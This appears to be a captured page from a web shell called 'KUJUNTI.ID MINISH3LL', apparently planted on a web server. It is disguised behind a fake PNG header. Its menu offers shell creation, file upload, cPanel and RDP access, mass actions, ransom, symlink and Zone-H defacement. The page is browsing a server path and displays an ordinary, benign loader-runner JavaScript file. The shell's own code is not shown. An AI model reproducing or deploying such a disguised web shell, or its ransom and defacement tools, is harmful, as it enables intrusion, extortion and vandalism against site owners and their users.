\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/loader-runner/lib/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/loader-runner/lib/loadLoader.js


"use strict";

const LoaderLoadingError = require("./LoaderLoadingError");

let url;

function handleResult(loader, module, callback) {
	if (typeof module !== "function" && typeof module !== "object") {
		return callback(
			new LoaderLoadingError(
				`Module '${loader.path}' is not a loader (export function or es6 module)`
			)
		);
	}

	loader.normal = typeof module === "function" ? module : module.default;
	loader.pitch = module.pitch;
	loader.raw = module.raw;

	if (
		typeof loader.normal !== "function" &&
		typeof loader.pitch !== "function"
	) {
		return callback(
			new LoaderLoadingError(
				`Module '${loader.path}' is not a loader (must have normal or pitch function)`
			)
		);
	}
	callback();
}

function loadLoader(loader, callback) {
	if (loader.type === "module") {
		try {
			if (url === undefined) url = require("url");

			// eslint-disable-next-line n/no-unsupported-features/node-builtins
			const loaderUrl = url.pathToFileURL(loader.path);
			// Use `eval` so older parsers (and the main module resolver) don't
			// need to recognize the dynamic `import()` syntax at load time.
			// eslint-disable-next-line no-eval
			const modulePromise = eval(
				`import(${JSON.stringify(loaderUrl.toString())})`
			);

			modulePromise.then((module) => {
				handleResult(loader, module, callback);
			}, callback);
		} catch (err) {
			callback(err);
		}
		return;
	}

	let loadedModule;
	try {
		loadedModule = require(loader.path);
	} catch (err) {
		// It is possible for node to choke on a require if the FD descriptor
		// limit has been reached. Give it a chance to recover by deferring.
		if (err instanceof Error && err.code === "EMFILE") {
			return setImmediate(loadLoader, loader, callback);
		}
		return callback(err);
	}

	return handleResult(loader, loadedModule, callback);
}

module.exports = loadLoader;

© KUJUNTI.ID